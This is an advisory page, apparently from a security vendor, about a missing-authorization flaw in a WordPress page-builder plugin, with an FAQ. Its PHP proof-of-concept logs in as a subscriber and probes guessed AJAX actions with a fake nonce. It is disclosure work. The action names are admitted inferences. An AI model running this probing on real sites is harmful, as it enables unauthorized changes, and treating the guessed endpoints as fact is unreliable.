Atomic Edge analysis of CVE-2026-28038 (metadata-based):
The vulnerability is a missing authorization flaw (CWE-862) in Ultimate Addons for WPBakery Page Builder plugin versions up to 3.21.1. The description confirms authenticated attackers with subscriber-level access can perform unauthorized actions. This indicates a WordPress AJAX handler or admin endpoint lacks proper capability checks. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) confirms network accessibility, low attack complexity, low privilege requirement, no user interaction, and low integrity impact with no confidentiality or availability effects. Atomic Edge research infers the vulnerable endpoint likely uses the plugin’s slug (Ultimate_VC_Addons) in AJAX action names or REST API routes. The missing capability check suggests the function uses `add_action` or `register_rest_route` without verifying `current_user_can()` permissions. The fix requires adding capability checks like `current_user_can(‘manage_options’)` or proper nonce verification. Exploitation allows subscribers to modify plugin settings, delete content, or trigger administrative functions they should not access. Without code diffs, these patterns are inferred from WordPress security conventions and the CWE classification.
CVE-2026-28038: Ultimate Addons for WPBakery Page Builder <= 3.21.1 – Missing Authorization (Ultimate_VC_Addons)
CVE-2026-28038
Ultimate_VC_Addons
3.21.1
—
Analysis Overview
Differential between vulnerable and patched code
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28038 - Ultimate Addons for WPBakery Page Builder <= 3.21.1 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-28038
* Assumptions based on metadata:
* 1. Vulnerability exists in an AJAX handler or REST endpoint
* 2. Plugin uses 'Ultimate_VC_Addons' or similar prefix for actions
* 3. No capability check allows subscriber-level exploitation
* 4. Target endpoint is /wp-admin/admin-ajax.php
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';
// Common AJAX action patterns for this plugin
$possible_actions = [
'Ultimate_VC_Addons_update_settings',
'Ultimate_VC_Addons_save_config',
'Ultimate_VC_Addons_delete_cache',
'Ultimate_VC_Addons_import_content',
'ultimate_vc_addons_admin_ajax'
];
// WordPress login to obtain authentication cookies
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-ajax') === false) {
die('Login failed. Check credentials.');
}
// Test each possible AJAX action
foreach ($possible_actions as $action) {
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => $action,
'data' => 'test_exploit_payload',
'nonce' => 'bypassed' // Nonce may be optional due to missing authorization
]),
CURLOPT_RETURNTRANSFER => true
]);
$ajax_response = curl_exec($ch);
if ($ajax_response && $ajax_response !== '0' && $ajax_response !== '-1') {
echo "Potential vulnerable action found: $actionn";
echo "Response: " . substr($ajax_response, 0, 200) . "nn";
}
}
curl_close($ch);
unlink('cookies.txt');
?>Frequently Asked Questions
What is CVE-2026-28038?
Understanding the vulnerabilityCVE-2026-28038 is a security vulnerability in the Ultimate Addons for WPBakery Page Builder plugin for WordPress, specifically in versions up to and including 3.21.1. It is characterized by a missing authorization check that allows authenticated users with subscriber-level access to perform unauthorized actions.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from the absence of capability checks in certain AJAX handlers or REST API endpoints within the plugin. This oversight allows authenticated attackers to execute functions that should be restricted, enabling them to modify settings or perform actions typically reserved for higher privilege levels.
Who is affected by this vulnerability?
Identifying impacted usersAny WordPress site using the Ultimate Addons for WPBakery Page Builder plugin version 3.21.1 or earlier is at risk. Specifically, authenticated users with subscriber-level access or higher can exploit this vulnerability.
How can I check if my site is vulnerable?
Verifying plugin versionTo determine if your site is vulnerable, check the version of the Ultimate Addons for WPBakery Page Builder plugin installed on your WordPress site. If it is version 3.21.1 or lower, your site is susceptible to this vulnerability.
What is the CVSS score and what does it mean?
Understanding severity ratingsThe CVSS score for CVE-2026-28038 is 4.3, categorized as medium severity. This indicates that while the vulnerability is not critical, it poses a significant risk that could allow unauthorized actions by authenticated users.
What steps can I take to fix this issue?
Mitigation strategiesTo mitigate this vulnerability, update the Ultimate Addons for WPBakery Page Builder plugin to the latest version where the issue has been resolved. Additionally, review and enhance capability checks in custom code to ensure proper permissions are enforced.
What does 'missing authorization' mean?
Clarifying the termMissing authorization refers to the failure to implement necessary checks that verify whether a user has the appropriate permissions to perform a specific action. In this case, the plugin does not check if a user is allowed to execute certain functions, leading to potential misuse.
What practical risks does this vulnerability pose?
Real-world implicationsThe practical risks include the potential for unauthorized users to modify plugin settings, delete content, or access administrative functions that should be restricted. This could lead to data loss or site misconfiguration.
How does the proof of concept illustrate the vulnerability?
Examining the demonstrationThe proof of concept demonstrates how an attacker can exploit the vulnerability by sending AJAX requests to the plugin’s endpoints without proper authorization. It outlines the potential actions that can be taken by a subscriber-level user, highlighting the lack of security checks.
What should I do if I cannot update the plugin immediately?
Interim measuresIf you cannot update the plugin immediately, consider implementing additional security measures such as restricting access to the affected endpoints, monitoring user activity, and reviewing user permissions to minimize the risk of exploitation.
Are there any known exploits for CVE-2026-28038?
Current exploitation statusAs of now, there are no widely reported exploits specifically targeting CVE-2026-28038 in the wild. However, the nature of the vulnerability means that it could be exploited by malicious actors if not addressed.
Where can I find more information about this vulnerability?
Resources for further readingMore information about CVE-2026-28038 can be found in the official CVE database, security advisories from WordPress, and plugin-specific documentation provided by the developers of Ultimate Addons for WPBakery Page Builder.
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